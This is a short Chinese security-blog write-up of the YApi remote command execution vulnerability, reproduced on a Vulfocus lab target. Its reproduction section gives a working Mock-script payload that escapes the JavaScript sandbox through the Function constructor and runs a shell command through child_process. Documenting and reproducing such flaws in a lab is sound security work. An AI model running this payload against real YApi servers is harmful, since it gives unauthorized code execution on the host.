YApi远程命令执行

admin 2024年3月27日23:50:28评论10 views字数 505阅读1分41秒阅读模式

API接口管理平台是国内某旅行网站的大前端技术中心开源项目,使用mock数据/脚本作为中间交互层,为前端后台开发与测试人员提供更优雅的接口管理服务,该系统被国内较多知名互联网企业所采用。 YApi 是高效、易用、功能强大的 api 管理平台。但因为大量用户使用 YAPI的默认配置并允许从外部网络访问 YApi服务,导致攻击者注册用户后,即可通过 Mock功能远程执行任意代码。

漏洞复现

使用Vulfocus搭建的靶机
YApi远程命令执行
注册一个账户,并创建一个接口
YApi远程命令执行
高级Mock中填写如下脚本

const ObjectConstructor = this.constructor 
const FunctionConstructor = ObjectConstructor.constructor 
const myfun = FunctionConstructor('return process') 
const process = myfun() 
mockJson = process.mainModule.require("child_process").execSync("ls /tmp").toString()

YApi远程命令执行
访问接口发现命令被成功执行,得到flag
YApi远程命令执行

- source:flyd.uk

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年3月27日23:50:28
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   YApi远程命令执行https://cn-sec.com/archives/2610227.html

发表评论

匿名网友 填写信息